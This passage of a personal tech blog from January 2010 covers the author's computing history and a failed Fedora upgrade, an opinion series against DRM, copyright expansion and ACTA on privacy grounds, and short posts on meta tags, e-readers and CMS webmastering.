But I seriously got into selling and using computer systems in 1975, working for Bell & Howell's business products division where I sold a system of hand-held data capture units that were based on some of the first CMOS microcomputer chips and technologies. The "Scorepad" from Azuredata was a hand-held unit aimed at doing inventory in retail stores via the then new bar-code system. I've still got one kicking around the house somewhere. Then in 1976 when I worked for Dataline Systems, a Digital Equipment DEC 10 time-sharing company, I got introduced to multi-user systems with batch and background tasking, and I've been loath to use systems any less ever since.

So later, when I worked for Radio Shack's computer division the single-tasking nature of the original PC operating systems, TRS-Dos, Apple DOS, etc. left me frustrated to say the least. The only ray of hope was an extension to CP/M called MP/M which allowed multiple users to do several things on a machine via dumb terminals connected to it.

Then I became a store manager for Radio Shack, moved to Victoria, BC, and along came the Radio Shack Model 16 - a Xenix-based upgrade to their Model II business PC. I'd played with Unix a very small amount on a PDP-11 that some friends used in their research at UBC so I had a bit of understanding of what Xenix was all about. I also had the yearning to stretch the hardware to its limits and continue to do so today. You see a computer sitting idle just seems under-used to me.

Xenix, a Microsoft-funded update to Unix (from AT&T/Bell Labs) added necessary items such as robustness, file and record locking and the ability to run on relatively minimal hardware. My (at that time future) friend, David Ingram, describes sitting on an airplane on a trip from Vancouver to Toronto one day next to a "goggly-eyed kid" who spoke of this new operating system as the next wave for business use of microcomputers. The kid gave him some part numbers for the Radio Shack and David, being somewhat of a computer junkie himself (ask him to recount the amounts he's spent on various systems for his tax business over the years sometime) phoned up the local Radio Shack store in North Vancouver when he got back to order one. "Don't recognize those part number - call head office" was the reply. Tandy head office in Fort Worth Texas said "where did you get those part numbers? We have not released the products yet!" It seems that Bill Gates had jumped the gun on Tandy in talking to David on the plane.

Anyway, shortly after that I found myself in a store full of such computers. Nirvana! Of course selling Radio Shack computers in a town full of government that only purchased IBM products was a less than fulfilling position, but it gave me lots of time to explore this new system and when I left Radio Shack I went out and started writing software for Xenix systems.

Along came an opportunity to first connect me and my customers (including by this time David Ingram) to the internet via Stuart Lynne's Wimsey Information Services ISP, then an opportunity to help him, then join him as the internet got busy. By mid 1993 we were at the forefront in the run up to the internet explosion, running on SCO Unix on several Pentium Pro and Dual Pentium systems. As one of the owners I found myself having to deal with the fall-out of the problems with porn and other problems, and this involved looking at much of the available images and some of the first video available via Usenet News feeds. I needed a fast video workstation.

We couldn't afford the $20,000 that a "real" graphics workstation would cost but at about that time a new open source project by a young Finnish student by the name of Linux Torvalds, called Linux, was starting to get stable enough and get graphics support enough that it was able to give me what I wanted on hardware that cost less than about $5,000, including almost $2,000 for a 19" monitor. Thus I was one of those who took version 0.9.1 of Linux and used it as my every-day workstation. I've had Linux on my desktop for most of the intervening years. In fact until about the middle of 1996 I took pride in the fact that the only item from Microsoft that I used regularly was a DOS boot disk and the hard-disk preparation utility "fdisk" to partition drives to put Unix or Linux operating systems on.

Then, after iStar Internet bought Wimsey in late 1995 I found myself the MIS manager for several hundred people who, depending upon which of the 8 companies they'd come from initially, used any of Windows, Linux/Unix or MAC - so I ended up with all 3 in my office and on my desk; mostly Windows.

I found my time with an enforced Windows setup very frustrating. This was at a time when Windows really was little more than a GUI on top of DOS - not really able to handle more than one thing at once. I pushed and stretched my machine and Windows to the limit - and when I finally got away from iStar pretty much vowed never again.

The problem is that since then I've always had customers who have Windows around for some reason, so I've kept at least something with Windows on it around just to ensure I can deal with it.

Then I found VMWare - their Workstation product allowed me to run Windows (and other things) under Linux. Fantastic! And hey, I can run several versions at once too! Of course I needed lots of RAM but one thing that Linux does is support lots of RAM - and multiple CPUs too.

So I upgraded my workstation to a dual-processor machine that would take 4 Gigs of RAM - although I only put 2 in it as the price of RAM at the time was more than the processors by quite a bit. I also put 2 video cards into it, one of which was dual-head itself, and had 3 monitors. I've written quite a few times about "the paperless office" and am of the opinion that only if your screen real estate matches our is larger than your physical desk real estate will you have the ability and incentive to use less paper. I used that machine for over 2 years before I felt the need to upgrade. Today my wife Shirley uses this as her workstation. I've moved on by quite a stretch.

My next workstation was a P4 with hyperthreading, almost but not quite a dual-core, with 4 Gigs of RAM and 2 dual-head video cards with 4 monitors. It too lasted me about 2 years and now it sits in the background of my network here as a disk storage system and sometimes video render server. In fact, my daughter-in-law used it last year as a workstation (with only 2 monitors) when she was doing some work with me and fell in love with Linux on it so much that I ended up building her a similar machine to take home with her.

Now we come to my current workstation that I put together just about a year ago. This quad-core AMD with 8 Gigs of RAM has 3 dual-head graphics cards, room for a 4th, and 5 monitors on it. It started out with Fedora Core 9 on it and was quickly updated to 10, then 11. This latest update was to be to FC12 and that's where we come up to date. You see I've spent most of the past 3 days trying to get the multi-monitor system working and run up against a brick wall. It almost works, and I have hopes that the community will come up with the fix over the next while, but at the moment I simply can't wait, so I'm going back to FC11. The problem is that I didn't do what I normally do and simply save the old boot drive and start fresh.

You see since I have many machines around the house as well as systems at customer sites that I administer, I have done some experimenting with the "in place" update facility that has come available in the last few updates (preupdate) and I'd successfully done this in place update on 2 other machines both to test it and to learn the potential for problems. I'd done the "belt and suspenders" on them where I did full copies of the working drive and did the update on the copy, and things went just great.

So I foolishly skipped the backup this time - at least of the operating system - and did the in place update. It didn't finish. It didn't correctly restart. It eventually thought my system was fresh and tried to do a full install. The full install didn't finish. It didn't restart. I tried several different install methods ranging from a USB external DVD, CD boot to network install, and eventually internal CD (didn't have a spare DVD), all of which took time to download and set up (via my spare workstation, hey, I'm not entirely stupid ;) and has so far cost me 3 days of lost productivity.

Such is life - this is how I learn and how I give back to the community. My notes and insights into what did and didn't work, the system's transcripts of the install process and the hardware/software mix I use all go into the development pot and we learn. I just wish I'd done the full OS backup before as now I'm having to re-install FC11 from scratch. I have my various setting files but can't just copy them back as the system is now slightly different for a variety of reasons. Updating hardware at such a time is an obvious thing to do and some of the old hardware has now been used elsewhere. We live and learn.

So... if you've been trying to email me and had messages bounce you'll be glad to know that the settings in the mail server have been changed to accept the fact that it might be offline for more than a day. You'll get notice that the message has not been delivered, but it won't bounce for 7 days now. If I can't fix the system by then I'll put something else in place.

Besides - the weather this past few days has been so wet that what else have I had to do except sit here and try various incantations?

Next week will be better - back to "normal" - whatever that is.

richard

A Global Perspective on the Internet - Part 3 - Privacy

Richard Pitt — Thu, 14 Jan 2010 00:01:25 -0800

How is government, both on its own from bureaucratic self-interest and ignorance, and at the behest of the publishing businesses to protect its failing business model, eroding your privacy and rights using the internet and new technology as the lever?

In Part 1 we dealt with basic copyright laws both in place and in the works to help prop up the publishing industry as it has been for hundreds of years.

In Part 2 we dealt with how your rights as the owner of hardware or purchaser of copyright goods and services have been and continue to be eroded.

In this part we'll discuss privacy and civil rights in general and in relationship to the enforcement of laws that have no justification other than to continue business models that are outmoded or to foster a paternalistic government bureaucracy.

In part 1 you learned that the original copyright laws were put in place to balance off creators' rights with rights of the public. The creator got exclusive ability to copy and profit from their work while the public got the right to have that work in the public domain after a period (14 years initially, extended to 50 years by the international Berne convention of 1886) after the creator died. Simple! Copyright started from the time the creator "fixed" the work in physical form without registration.

Then the publishing industry got into the act and lobbied for changes. They first got ability to change the "ownership" of the protection of copyright to themselves under contract law. The creators are still stinging from this today, even more so since the advent of inexpensive self-publishing using computers initially and the internet now.

The 1996 WIPO (World Intellectual Propery Organization) Copyright Treaty was the first contemporary treaty that has obvious technological implications. While many countries were signatories to this treaty, not all have enacted law under it; Canada included. The treaty has many segments that governments (and their citizens) take as both over-broad and technologically stifling. This includes the section on "non-circumvention" of technical protection measures (TPM), aka Digital Rights Management (DRM); at least that's the way the publishing industry is taking it.

You see the treaty is not specific enough about what a TPM is. A simple "Caesar" cypher - alphabetic substitution, if implemented in a technology (i.e. by computer) would be illegal to circumvent by you, the "owner" of a work so protected. Adding in a layer of software that tracks your use of the work and sends the information to the publisher is something any junior programmer can do - and if it is part of the "TPM" system the publisher installs on your computer so you can "play" the work - you can't disable it, can't try to figure out what it does, can't object (because you're not supposed to know what it does)!

Thus is enabled the violation of your privacy, property and civil rights by a treaty that purports to have nothing but the best interests of the creator in mind.

This was the nose of the camel poking into the tent. The rest of the camel is following.

The publishers have been hurting ever since the advent of digital informatin storage being applied to "their" works. You see the old vinyl records and paper books had a relatively limited life span. They wear out. In my time in our stereo store, just prior to the large-scale introduction of the CD, we used to purchase multiple copies of the various records we used to demonstrate our stereo systems to potential customers. After about 100 playings these records no longer sounded as good as when new. Not so for the typical CD or DVD, and certainly not so for works stored on computer hard disk drives (if you take the proper backup precautions - see the article on "bit rot")

I've purchased at least a half-dozen copies of some of my favourite books over the years. Some I've lost, some have simply worn out. I could not easily keep a backup to restore a lost book, and even the best bound book on the best paper can become tattered and all but unreadable if you handle it enough. So the publishers get to sell me another copy. With digitial works they lose this.

You see, digital works can not only be copied easily by anyone with access to them, they simply don't wear out!

What is a publisher to do? The potential for selling more copies of the works they publish in some digital form simply doesn't exist anymore.

OK - they get to re-publish older works in new formats. I have a vinyl, tape, CD and DVD of several of my favourite music albums. They won on that one.

Ahhhh... the light comes on! If we continue to obsolete old technologies and stop producing media for them eventually the manufacturers will stop making new players and all our customers will re-purchase in the new format. This has worked for video disk (the big, clunky original video format), VHS tape (and Beta), and now DVD is on the block with the advent of Blu-Ray. Even Blu-Ray is on the block as a newer format for 3D is being talked about.

Hey! This is great! We get to sell more copies just by making the players different every few years!

But there's a hole in this story - the computer storage technology hole. You see all these various media formats are just digital containers of various sizes - and computer data containers are getting bigger and bigger too. I can now purchase a USB "thumb drive" that holds as much as a Blu-ray disk - and I can put the exact same movie on it that comes on Blu-ray or any other similar or smaller sized medium. Except I'm not allowed to because all the latest music/video media formats have DRM attached to them - DRM I'm not allowed to circumvent by the WIPO treaty. The treaty is stopping me from holding a few dozen movies in my pocket and being able to carry them around the world with me and play them on local players wherever I go because I "own" them. I can't do this because of the treaty!

Instead of being able to take my book (or cassette tape) with me like I could back in the days of old - and expect to find a player where I went that I could use to play it - or a light under which I can read the book - I now am hamstrung by DRM and region coding and rights management that has taken away my rights to do with what I own (I "OWN" the copy of that movie/music/ebook) whatever I wish.

Leaving behind the sales of works on physical media, what are the publishers doing in the internet and digital broadcast realm that is intrusive and subversive to your rights and privacy?

Here again we deal with DRM. This time in relation to playing works on YOUR computer - a general purpose device that is both physically able to read digital media (CD and DVD and Blu-ray) and connected via the internet to other computers, including those of the publishers.

In Part 2 you learned about Sony installing a "root kit" on the computers of anyone silly enough to try to play one of their music CDs on it. You also learned of Amazon's ability to "de-sell" a book via their control over the Amazon Kindle e-reader. These aspects of DRM attack your rights to what you own.

DRM also allows the publishers to attack your right to privacy by looking over your shoulder every time you want to view DRM protected works on your internet connected computer. In fact some DRM systems simply won't let you view the work unless the computer is connected to the net. Under today's laws in most countries the publisher not only can do this, they don't have to tell you that they're doing it, or that they've installed such spying software onto your computer. They're not liable for any damage they do to your computer by the installation of such spying and/or DRM software either - unless they get caught and you and a bunch of others put together a class-action lawsuit, and win. There are no regulations regarding what DRM can and can't do, whether it must be standardized, or even whether it can affect your other uses of YOUR computer.

Think about this for a minute. If you purchase music from 5 different publishers, and all of them put different DRM on your system in the fashion that Sony did, your computer could thereafter be totally useless for the purposes you purchased it for. It might not even work at all and you would have to pay someone to fix it. The publishers have even gone so far as to get the anti-virus vendors to ignore their specific software.

This is like a gasoliine vendor installing a device on your car when you purchase gas from their station - and that device disallowing you from driving on certain roads or at certain speeds. If you bought gas from 5 different companies eventually your car would be all but useless.

In Part 4 I'll go into the future a bit and give you some ideas on what you can do to help save the world from the hands of government and the old-style publishers.

richard

A Global Perspective on the Internet - Part 2 - DRM, Territories and Sales

Richard Pitt — Tue, 12 Jan 2010 00:01:42 -0800

In this part we'll extend the discussion of technology stifling to include the hardware you purchase to listen to your music, watch your video and interact with the internet. The publishing industry has had a hand in all of it and wants to stop you from doing many things, things that are the essence of living in a technological world. In Part 1 you learned something of my background and about why/how the publishers are trying to stifle technology in the face of their changing business. In this part we'll explore the changes proposed to the works and hardware you purchase.

When copyright law was first set in the Statute of Anne (1709) the law governed only England, Scotland and Wales. Over time, similar laws were enacted throughout the world, and the Berne Convention of 1886 served as the first attempt to unify these laws. Copyright law is based entirely on where a work is published physically - which jurisdiction. A single work like a book might be published under hundreds of jurisdictions by many different publishers, and negotiating the rights is another of the "services" that initial publishers might perform for their contracted creators.
Today this makes no sense since a work "published" on an internet site is immediately available in all connected jurisdictions. The publishers want your ISP to work to limit such broad publishing abilities - to their benefit of course, not yours.
In addition the publishers are working hard to push both government and industry to put technical limitations into hardware platforms to limit their ability to allow you, the purchaser of rights to view or use a work, to enjoy that work in the same fashion that you could if you purchased a physical copy of the work such as a book or record or tape. In other instances they have already, or are looking to impose, a tax on general purpose hardware if even one of its uses is the potential to hold (illegal) copied works.

First, let's set some technical background to the challenges posed by technology today to the creators and publishers in their quest to control copying. This is relevant because it turns out that there really isn't any technology that can stop the wholesale copying of works by pirates, and most such technologies end up being a true pain in the butt to the end consumer - the one who legitimately pays for the use of the works and pays more for the cost of the technological prevention measures (TPM) that the publishers try and fail with.

Digital Rights Management (DRM)

This means putting some sort of lock on the digital works such that the consumer can only view/enjoy it in the way(s) that the publisher allows - can't copy it to another device, can't re-sell it (in violation of current copyright law I might add) and might lose access to it at some time in the future - again in violation of current copyright law.

At its most basic level, DRM encodes the work such that a digital key is necessary to decode and enjoy it. The first really wide-scale deployment of such technology was with the advent of the video DVD and its player. The publishers decided together to limit the usefulness of a DVD to a geographic region by introducing CSS (Content Scrambling System) and forcing manufacturers (through patent as well as law) to add this "feature" to all DVD players, varying the key in the machine by where that machine was destined to be sold.

The effect of this was similar to you bringing a book with you on a trip from North America to Europe and having it taken away from you when you land because it was not purchased there, something that is against what is called the "First Sale Doctrine" enshrined in copyright law and recognized by the U.S. Supreme Court in 1908.

More intrusive locking includes that imposed by Major League Baseball on the viewing of archive games via an internet connected computer. In this case the key was kept on a server that MLB controlled, and they turned off this key server. This meant that all those who had purchased the videos could no longer watch them.

It also includes software included on some of publisher Sony's music CDs. This software, meant to control what could be done with the music on the CD, installed itself in such a fashion (and permanently, not just while the music was playing) that it opened security holes in the PCs it was on, slowed those PCs down even when the music CD was not in the drive, and overall treated the CD owner's computer as if it were the property of Sony.

The point is that no matter what these and other DRM schemes do, they all rely upon one of two things:

They hide and obfuscate the fact that the key to the system is contained on the system - which includes lobbying governments to forbid you from looking for the key or modifying your own equipment to bypass the key or change the hardware/software in any way - another violation of First Sale Doctrine.
They keep the key to themselves and make you and your equipment "phone home" to get it each and every time you want access to YOUR copy of the work - which gives them both the control to remove your right to view/use (as Amazon has done) the work, and intrudes upon your privacy by providing them information about how, when and where you might view/use the work (as Sony above did with their DRM install).

Every DRM scheme to date, and the consensus is that EVERY DRM scheme, can be hacked or worked around by someone - and the knowledge gained can be distributed in seconds to the world. Thus there is NO DRM that is proof against what the publishers claim to be trying to protect against - the wholesale copying of works by pirates. In the case of CSS for example, the pirates simply copy the encrypted DVD exactly. They don't have to decode and re-encode it. To circumvent the region coding there are some manufacturers who have simply put all region keys into their products, sold millions of the units, and closed that particular business to avoid law suits - or been masked by being in a country that has not enforced the license terms effectively.

What the DRM schemes have done is made it harder (not impossible) for the legitimate owner of a copyright work to enjoy it. You're locked into viewing a DVD with an approved DVD player - not the equally capable computer with its DVD player - unless you run one particular operating system and allow it to impose the rights standards upon you - along with anything else that manufacturer wants to impose on you such as high prices, poor quality and lock-in.

This leads us to the discussion of Microsoft's Windows Vista and what many consider the concept of customer as enemy.

In the creation of Windows Vista, Microsoft seems to have taken it upon themselves to fight their own customers in the war waged by publishers. Looking back on the lack of success of Vista I can only hope other companies learn from Microsoft's failure. This fight cost its customers (you if you purchased any version of it or a PC with it) in several ways:

higher cost of hardware - had to compensate for the inefficiencies of the OS as it checked for "badness" about 30 times a second
higher cost of peripherals - Microsoft forced any/all peripheral manufacturers who wanted their drivers blessed by Microsoft to put hardware facilities in that had nothing to do with making things work well and had all to do with ensuring nobody could circumvent copy protection.
lower reliability and utility - the increased complexity of the hardware, operating system and drivers meant more could go wrong - and with 3rd party peripherals (video cards in particular) it meant far poorer performance than should have been.
New hardware breaks existing software and "non digital rights system.

The publishers are now working on hardware manufacturers to change their hardware, and government to enforce the changes, to try to make it impossible for you, the consumer, to do what you have been doing for years; make recordings of things you value, whether it is your child dancing to a pop tune, a copy of a TV show so you can watch it at your liesure, or a copy of your favourite music from the format you purchased it in to the format you want to listen to it from. They'll eliminate all analog outputs and encode all digital outputs such that unless you connect them to "approved" inputs that also respect the DRM, you won't be able to do anything, let alone listen/watch. You will have to purchase new speakers, new video recorder, new music players, etc. and all will be full of DRM hardware and software so that even if you are legally allowed to "abstract" a piece of a work for fair use or fair dealing, you won't be able to.

How does this tie into the internet of the future?

Well, the internet of the future could allow you to sit in your hotel room in France and watch the Vancouver Canucks hockey game redirected from your TV via your "slingbox" or other redirection technology. Or, the internet of the future could stop you completely from even thinking about getting such entertainment because there are no French distributors for that program, or could cost you double what it has already cost you (you purchased the annual package at home) to watch something you've already paid for - because you're in a different physical jurisdiction (France) rather than your home jurisdiction (Canada).

The internet can continue to be an enabling technology, rapidly changing and adapting to the needs and wants of those of us who are using it daily.

Or it can be stifled and held up for ransom by companies whose values and business models are stuck back in the horse and buggy age.

It is up to you - tell your congress critter or member of parliament or whatever local politician that you will not have progress stopped by those who cannot adapt to changes in technology.

richard

Tag: drm publishing music video tv radio acta privacy

A Global Perspective on the Internet

Richard Pitt — Mon, 11 Jan 2010 09:15:36 -0800

As many of my readers know, I've been around the internet since before it was ever in the public eye. In fact, I've participated in several technical revolutions as well as several of the industries that technology and the internet have heavily touched over the past 30-40 years: computers, music, TV/video, radio and paper publications. This gives me an interesting set of experiences from which to look at the changes in our worldwide culture that are happening as I write this - and that will affect our lives over the coming years.

I'm a bit late in writing predictions for the new year but that's OK - this isn't really about predictions. If anything it is a bit of a retrospective and then a bit of a prediction but a lot of background that you, my readers, need to have in order to judge the various governments and bureaucracies that have tried and will continue to try to deal with the changes brought about by the internet and its progenitor technologies.

But most of all this is a call to arms, not literally, but figuratively - in that I hope you will do something to tell your various representatives that trying to put the contents of Pandora's box back in the box simply won't work. The world will just have to cope with the new technology order and make the best of it.

More background, or skip to the interesting bits

I'm a writer, I've played around (in my youth) at music, sung in choirs, made movies, participated in theater, produced TV, been a radio announcer, been a professional photographer and videographer, been part owner of a stereo equipment store, worked as both a salesman and manager for Radio Shack in their computer stores, been self employed as a computer software creator and systems integrator, and was co-owner of Canada's first commercial internet service provider, Wimsey.COM.

Along the way I've had formal education in computer technologies, business administration and marketing - and had a whole lot of experience hands-on in these fields.

I've had my picture on the front cover of national magazines, stood in front of the Copyright Board of Canada to testify on matters, written lots of articles about copyright, digital rights management, various copyright bills and initiatives and more recently the ACTA secret negotiations.

My two boys were some of the first children to have the internet full-time in their home. I've been to some of the darkest corners of the internet and also some of the darkest corners of the paper publishing world and film/video world. I won't say I've seen it all, but I've seen enough that little about human nature can actually shock me these days.

I've inadvertently purchased pirated copies of a number of hard goods and been offered all manner of pirated goods online.

I've participated in Peer-to-peer file sharing networks, both for public-domain works and for copyrighted materials.

I own a CD player that can hold packs of 6 CDs at a time - and have several dozen of the packs full of CDs. Last time I used it was many years ago.

I've ripped some of my vinyl records and some of my purchased CDs to disk so I can listen to them in the order I want them and on the equipment I have in my home today (my record player no longer functions). I listen to radio via the internet as well as over the air. I have cable TV, not an antenna on my roof anymore.

My company has participated in the creation of a video jukebox system that died because the content owners' representatives couldn't/wouldn't agree to allow us to rip their content to digital storage (hard disk) - they insisted we put the DVDs in the box, a technological dead end IMHO.

I read daily the writings of others in many of the fields I've touched and many who have similar backgrounds to mine.

What has all this to do with today's technical/internet world?

The fact that I'm a citizen of Canada gives me the right to comment on what my government does and is doing. The fact that I have background in such a broad variety of technical and every-day fields gives me an insight that many people just don't have. Hopefully my ability with words will impart some of the concerns I have about where our world is headed to you, and you'll help do something about it rather than stand by and let it happen or worse, cheer on the law makers in their efforts to stifle technology.

First, let's talk about copyright.

Paper printing and record/CD/DVD production facilities cost a lot of money. An industry has built up around this fact - the publishing industry. Creators, the musicians, videographers, photographers and writers, have ended up subservient to the publishing industry for hundreds of years because of this. There are numerous stories of creators battling publishers to regain the rights to their own works and get out of onerous contracts.

Today, electronic publication via copying digital media and using networks is part of the technology we all own in our cell phones, PDAs and computers. Some creators, and the number is growing daily, are using this fact to make their living without the help of publishers. This has the publishing industry running scared because the advent of these "disruptive technologies" means the publishers no longer have a monopoly on the copying facilities. These publishing industries and the surrounding hangers-on such as the music and video royalties gathering organizations (ASCAP, CRIA, RIAA and similar orgs in other countries) are in fear for their very corporate lives. The fact is the creators of copyright materials no longer need these publishing companies to make copies - the creators themselves can do this either via a web site or with inexpensive equipment they can own themselves to create CDs and DVDs, etc.

This has lead the publishing industry to lobby governments heavily to intrude in the commerce of copyright to the point of mandating the publishing industry's continued existence. In fact the publishing industry has in some cases had law put into place that erodes long-standing public access rights (see the original copyright act - the Statute of Anne from 1709) to works for legitimate reasons, reasons that balanced off the social pact called copyright in the first place. Before copyright law was created (history of copyright) there were no laws governing the copying of creative works. In return for the establishment of copyright law, the public negotiated rights to retrieve creative materials for the public good in cases such as:

for posterity - the ongoing recognition of historic significance of created works including books, letters, music, etc.
for news - use of segments or representations of a work to tell the world of its existence and noteworthyness
for education - use of a work to learn more about the art of creation in general
for resale and lending (of purchased copies)
after a period following the death of the works' creator (initially 14 years or 21 years for works published before the Statute of Anne was declared)

These rights have various names and limitations in various countries - but something like them exists or existed when copyright legislation was initially created. They include things like "Fair Use" (USA) and "Fair Dealing" (Canada) and various lengths of time after the work is created or the creator dies before the work comes into the public domain.

The erosions of these balancing items in copyright law that publishers have used or are negotiating include:

contractually moving copyright ownership from the creator to the publisher
extending the length of time past death of the creator from 14 years to 50 years (typical) to 70 or more years in some cases
including public domain works in collections and trying to impose copyright upon them that way
publishing works under Digital Rights Management (DRM) in a fashion that prohibits fair use and does not release the work at the end of the copyright period (x years after death) and getting government to impose laws that make breaking DRM in any case illegal, even if the work is in the public domain or the use is "fair"
getting government to pass laws that give unfair powers to the publishers to prosecute and/or punish individuals for alleged copyright violations that are not commercial in nature (i.e. private copying, time-shifting video, moving a purchased work from one playing platform to another, etc.)
getting governments to pass laws that make your facilities providers or your own hardware spy on your use of copyright materials (see privacy below) and prohibiting you from disabling or bypassing such measures, even if they are trivial, damaging or intrusive or just plain broken.

The above are all in aid of preventing the business collapse of a segment of our commercial society that is becoming as useful as the buggy-whip manufacturers were when the automobile took over from the horse and carriage. I'll note here that there are some publishers who have changed their business focus and are in fact becoming (again) successful in their business without resorting to this legal bullying so it is possible.

Examples of what has been passed include the US Digital Millennium Copyright Act (DMCA) and the proposed Anti-counterfeiting Trade Agreement (ACTA). Both of these have anti-circumvention (of DRM) sections and both propose or make your ISP spy on you and/or punish you without judicial oversight for alleged transgressions.

ACTA, along with the governments of several countries, most recently France for example, has a "3 strikes" provision where your (and your familiy's) access to the internet may be turned off without a trial or any judicial involvement for alleged copyright violations. Think of this as being banned from the use of any road or telephone or electricity or water - some of the other necessities of today's Western civilization. The internet is no longer a luxury, it is for many of us a necessity. To have access to it removed without judicial oversight is simply not acceptable - yet the publishing industry is lobbying for this very right - and so far they're winning!

If you children's friends use a computer in your house to download a copyright item without your knowledge, or if you have an open (unprotected) WIFI access point and someone in their car at the curb downloads something, you can lose your access - and you might have no recourse and it can be done without your knowledge.

Scary thought. Your ability to participate in the information highway is removed if someone "crashes" their vehicle or does something illegal on your property - because they could drive there on the electronic highway and you have a driveway that connects you to it.

Considering that many people don't have a clue where their computer ends and the internet begins, and that the vendors of add-on technologies such as WIFI access points set them up with defaults that are wide open to abuse by outsiders, and that the vendors of your typical PC operating system and the software on it have left it open to the point where literally millions of systems have been taken over by criminals to do their bidding, such a legal option is premature and overbearing at best, and ill conceived at worst.

This is like the automobile manufacturers and accessory sellers creating a car that can be remotely driven by a criminal (or your neighbour), used in the commission of a crime, and you, the owner end up being punished - yet you have no ability to fix the problem.

At minimum you need to contact your local government member of parliament and express your concern over the continued pandering to the publishing industry and erosion of your basic rights to use and enjoy copyright materials you have legitimately purchased or have legitimate rights to in whatever way works best for you - with no industry knowledge or intrusion into how you accomplish this and no intrusive rights management regime that makes you, the customer, the enemy!

If nothing else - tell your local retailer, or the vendor on the web, that you will not purchase product that compromises your right to use the product in whatever way you deem best. Push back! The vendors of software on floppy diskette stopped using intrusive methods supposed to stop copying (some of the first copy protection schemes) when people simply stopped buying their product.

richard

Part 2 (available Tuesday, January 12, 2010) will deal with how the publishing industry is affecting the hardware you use to read, listen and watch copyright materials. The rights of a purchaser of equipment or services

Part 3 will deal with privacy and the internet and other communications

Part 4 will sum it all up with some ideas and concepts for the future of electronic communications, the internet and publishing

Tag: drm publishing music video tv radio acta privacy

Meta Tags and the Search Engines

Richard Pitt — Sun, 10 Jan 2010 11:11:46 -0800

One of the more valuable plugins or native facilities of a CMS (Content Management System) is the "Meta Tag" facility.

A "Meta Tag" is a part of the HTML of a page that is not generally human readable. It is there for the benefit of machines that read the page and interpret its contents. The tag might tell the machine what character set to display the page in, if the page has been moved - and how to find the new page, if the page is the "original or canonical" name of the page rather than one of possibly several different names - so the search engines don't index the page more than once and lower the search ranks because of duplicate content. Or the Meta tag can be information about the page so the search engines correctly categorize the page and show a reasonable description.

This latter type of tag is what I'll talk about in this article - the Meta Keywords and Meta Description tags.

In glFusion, the "metatags" plugin provides the functionality to define specific keywords and description on an article by article basis. It allows the author (or editor) to add one or more of several types of meta strings to the document that will show be included in the HTML each time that document is displayed.

The exact syntax of how to use this facility is not relevant at this point - it may be different in your CMS - what is relevant is what to put in them and why.

The Description meta tag is used by many search engines as the description of the page when you find that page through use of the search engine.

Ends up with the text showing up in Google:

The description is what I put into the article's "meta:desc" tag. Note that Google will many times use the sentence that has the key words in it rather than the actual description meta tag you give it, unless the key words are actually in the meta description tag. Other search engines will use the description contents no matter what the key words used in the search are.

The "Keywords" tag highlights the key words you think are relevant in this article. Note that many/most search engines today lower your page rank if you put key words into this tag that are not also in the text of the article. In fact, most of the search engines discount the keywords tag in their algorithm or ignore it all together - but it is useful to put it in if you have the information anyway as there may be some search engine, somewhere, that uses it.

The problem with the keywords meta tag is that it was so heavily abused in the past (putting the names of rock stars and other highly placed page topics into your keywords tag gave you high rank, even if your page was just spam or about collecting navel lint) that the engines simply figured out how to pull the key words from the article text. You also don't need to worry about putting synonyms in since the search engines these days are quite capable of looking for synonyms when you put your request into their search bar.

The one thing you really don't want to do is use a site-wide "default" set of key words or descriptions unless you've been pretty consistent with putting the real keywords and description meta tags on most of your content already. Having the same on all pages can lower your site's rank.

Tag: cms keyword description glfusion google search engine optimize page rank meta tag

I Want an E-Reader - But Not Yet - Or Ever???

Richard Pitt — Sat, 09 Jan 2010 08:41:28 -0800

I have a wall full of books - mostly science fiction but lots of marketing and computer books as well. My wife and I have a lot more books and magazines scattered throughout the house - to the point where our sons are accusing us of being hoarders (the used and broken computers, tools, pieces of this and that and a LOT of cooking utensils are involved too - it's not just books.

All the talk about a new crop of E-readers at the Consumer Electronics Show (CES) this week has me almost drooling, almost but not quite.

The one I like the best - at least from the pictures and descriptions - is the Plastic Logic Que. This 1/3 inch thick, 8.5x11 touch screen unit is about the right size for my aging eyes and both light enough and durable enough that I expect it will stand up to the kind of abuse a household use would put it to. The Skiff Reader also looks like a winner to me - but the expected cost of this machine puts me off.

But more than price is putting me off. Virtually all these machines come bundled with proprietary agreements with publishers of one sort or another. I've completely lost my appetite for such products since Amazon removed purchased books from their Kindle after their customers had bought and paid for them. Yes, Amazon credited the accounts, but that's not the point. The point is that any E-reader I purchase will be MINE! I'll own it, I'll control it, and I'll put whatever I want (and presumably have paid for or written myself or found in the public domain) and no company will be able to affect what I have on my E-reader without a court order, just as with my physical book library!

There is in law (here in Canada and in many other countries) called First Sale Doctrine, which, although applied a lot to copyright items, applies to hardware and other physical items as well. It says that I, as the "first purchaser" (at retail) of an item, have complete control over what I may do with that item. I can take it apart, repurpose it, modify it, sell it, lend it, etc. The caveat here is that with some (many/all) computer items there are aspects of the "system" I purchase that I don't actually own - I license. These might include the operating system (Windows or some other), some proprietary software - the stuff that powers the E-reader touch screen for example, or some communications software and setup, the stuff that allows my E-reader to connect to a Cell Phone company's service.

This extra stuff is why I probably won't own an E-reader any time soon.

You see all of the interesting ones I've found, and most of the ones that have not yet been actually released to the public, will only be sold bundled with service agreements from some publisher or phone company or other business - and these businesses want 100% control over what I put on "their" machine - to the point where many such E-readers simply won't allow you to put your own stuff on them - and most won't allow you to purchase from other book vendors. And more - they won't allow you to move a purchased book off the E-reader to your PC or another E-reader!

Nope, I'm simply not playing that game and I urge you not to too.

richard

Having a CMS Does Not Mean You Don't Need a Webmaster

Richard Pitt — Fri, 08 Jan 2010 00:01:47 -0800

Don't get me wrong - I love having my customers work with their Content Managed Systems (CMS) - their sites are active, alive, and higher ranked than a similar static site would be. It relieves me of much of the drudge-work of being a webmaster - the minor syntax and spelling fixes, changes in staff information, etc. and lets me concentrate on some of the other things that I and my staff enjoy doing.

The problem is not with my customers - it's with some of the people I see on the various CMS support lists who simply don't have a clue how a web site goes together. We're not talking about content or graphics or what the web viewer sees - we're talking about things like style sheets, changes to templates and web server setup and tuning. These things are very technical in nature and a lot of people fail to grasp that in some cases it takes literally years of experience to know how to get the best out of them and make the rest of the system function correctly. I know, I have more experience in much of this than most people and I still get baffled by some of the problems I come across.

As one of the co-owners of Wimsey Information Services (wimsey.com), Canada's first commercial ISP, I wrote some of the fist web pages in Canada and taught HTML to many of the first crop of Vancouver's now burgeoning community of web professionals. Our servers in 1994 and 1995 put out more web pages than any other ISP in Canada, and I and my staff set them up and helped most of the sites create and grow their web presence.

We've come a long way since that time:

Microsoft abandoned their hopes of creating a parallel, world-wide network and in 6 months completely turned around to embrace the internet
